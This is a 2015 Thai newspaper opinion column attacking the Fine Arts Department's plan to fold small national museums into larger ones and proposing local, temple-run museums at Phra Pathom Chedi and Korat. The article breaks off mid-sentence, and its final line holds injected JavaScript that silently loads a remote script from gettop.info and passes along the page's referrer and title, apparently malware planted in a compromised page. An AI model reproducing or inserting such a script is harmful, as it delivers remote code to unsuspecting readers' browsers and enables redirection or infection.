มติชนรายวัน ฉบับประจำวันพุธที่ 13 พฤษภาคม 2558

 

ไทยเลือกทางที่ล้มเหลว

       เพิกถอนพิพิธภัณฑสถานแห่งชาติ (พช.) ขนาดเล็ก ราว 9-10 แห่ง มีทั้งอยู่ในวัดและนอกวัด (ส่วนมากหรือเกือบหมดอยู่ในวัด) ไปรวมกับ พช. ที่ใหญ่กว่า

       เป็นแนวคิดที่กรมศิลปากรอ้างว่าจะใช้แก้ปัญหาหลายอย่างที่สะสมหมักหมมมานาน เช่น ข้าราชการและบุคลากรไม่เติบโต (ซึ่งไม่เกี่ยวกับประโยชน์ของประชาชน)

       มักกล่าวโทษประชาชนคนไทยไม่เข้าชม พช. เพราะขาดความรู้ความเข้าใจ ครูบาอาจารย์ไม่พานักเรียนนักศึกษาเข้าชม แม้แต่คนไปทำบุญในวัดปีละมากๆ ส่วนมากก็ไม่เข้าชม

       แต่กรมศิลปากรไม่เคยพิจารณากล่าวโทษตัวเองว่าขาดตกบกพร่อง พ้นสมัย จัดแสดงไม่ได้เรื่อง ไม่รู้เท่าทันโลก จึงไปด้วยกันไม่ได้กับประชาชนร่วมสมัย

       เหตุมาจากวิธีคิดและวิธีทำ มุ่งแต่ประโยชน์ของข้าราชการเป็นใหญ่ โดยไม่คิดเอื้อประชาชน

 

เลือกทางเดียวที่ล้มเหลว

       แนวทางแก้ไขมีให้เห็นเป็นตัวอย่างทางเลือกมากมายในโลก เพราะทุกประเทศที่ก้าวหน้าล้วนมีมิวเซียมเป็นสมัยใหม่และทันสมัย เป็นที่นิยมยกย่องของคนเข้าชม

       บางประเทศมีหลายแห่ง จัดแสดงหลายแบบแยบยลด้วยกลวิธีต่างๆ อย่างรู้เท่าทันโลก

       แต่ไทยโดยกระทรวงวัฒนธรรมและกรมศิลปากร เลือกทางเดียวไม่เป็นอื่น คือแบบอาณานิคมเมื่อ 100 ปีที่แล้ว ซ้ำมิหนำยังปิดกั้นทางเลือกอื่นอย่างแข็งแรง

       เลยเป็นอย่างที่เห็น คือล้มเหลวตลอดตั้งแต่หลัง พ.ศ. 2510 จนปัจจุบัน แต่ไม่ยอมรับความจริง

 

ทางออก ไม่เพิกถอน

       ทางออกโดยไม่ต้องเพิกถอน พช. ขนาดเล็กเหล่านี้ยังพอมี ถ้าข้าราชการทำใจได้ แล้วกระจายอำนาจออกไป ดังนี้

  1. อยู่ในวัด ถ่ายโอนมอบให้วัดดูแลเอง แล้วจัดแสดงประวัติความเป็นมาของวัดนั้น
  2. อยู่นอกวัด ถ่ายโอนมอบให้ชุมชนท้องถิ่นดูแลเอง แล้วจัดแสดงประวัติความเป็นมาของท้องถิ่นนั้น
  3. สร้างใหม่มิวเซียมที่ยังไม่มีในจังหวัดนั้นๆ เช่น นครปฐม, นครราชสีมา, ชัยนาท, พิษณุโลก, สิงห์บุรี, ฯลฯ (เคยเขียนบอกแล้วว่าต้องมีโครงสร้างพื้นฐานทางวัฒนธรรมทุกจังหวัด เช่น มิวเซียม, ห้องสมุด, โรงละคร, ฯลฯ ดูในสยามประเทศไทย ฉบับวันพุธ 22 เมษายน 2558) จะยกตัวอย่างบางแห่ง ดังนี้

 

ที่พระปฐมเจดีย์

       พช. พระปฐมเจดีย์ อยู่ในวัดพระปฐมเจดีย์ นครปฐม ยกเป็นมิวเซียมพระปฐมเจดีย์

       จัดแสดงความเป็นมาตั้งแต่ก่อนมีองค์พระ ว่าบริเวณนั้นอยู่นอกเมืองโบราณสำคัญศักดิ์สิทธิ์อย่างไร? คนยุคนั้นจึงตัดสินใจสถาปนาองค์พระไว้ตรงนั้น

       กระทั่งพังทลาย แล้วมีเจ้านายรัฐสุโขทัย มาปฏิสังขรณ์เป็นยอดปรางค์ รวมถึงเริ่มมีนิทานประจำองค์พระ เรื่องพญากง พญาพาน

       จนยุครัตนโกสินทร์ ร.4 เสด็จธุดงค์ไปนมัสการ หลังจากนั้นจึงปฏิสังขรณ์ใหญ่โตมโหฬารดังเห็นทุกวันนี้ มีรายละเอียดปลีกย่อยอีกมาก สำคัญๆทั้งนั้น

       เท่ากับ ไม่ยุบไม่ย้าย แต่ขยายเนื้อหาการจัดแสดงให้ลุ่มลึก แล้วเพิ่มกิจกรรมสม่ำเสมอ

 

โคราชมิวเซียม

       นครราชสีมา เป็นเมืองใหญ่และสำคัญมากๆในลุ่มน้ำมูล [ประวัติความเป็นมาของโคราช คุณสุวัจน์ ลิปตพัลลภ พิมพ์แจกแล้วเมื่อเร็วๆนี้]

       ผมเคยเขียนถึงหลายครั้ง ว่า พช. ที่มีอยู่ไม่เหมาะอย่างยิ่ง ต้องหาที่ใหม่ อยู่ในย่านตัวเมืองโคราช สร้างใหม่เป็นมิวเซียมโคราชvar d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;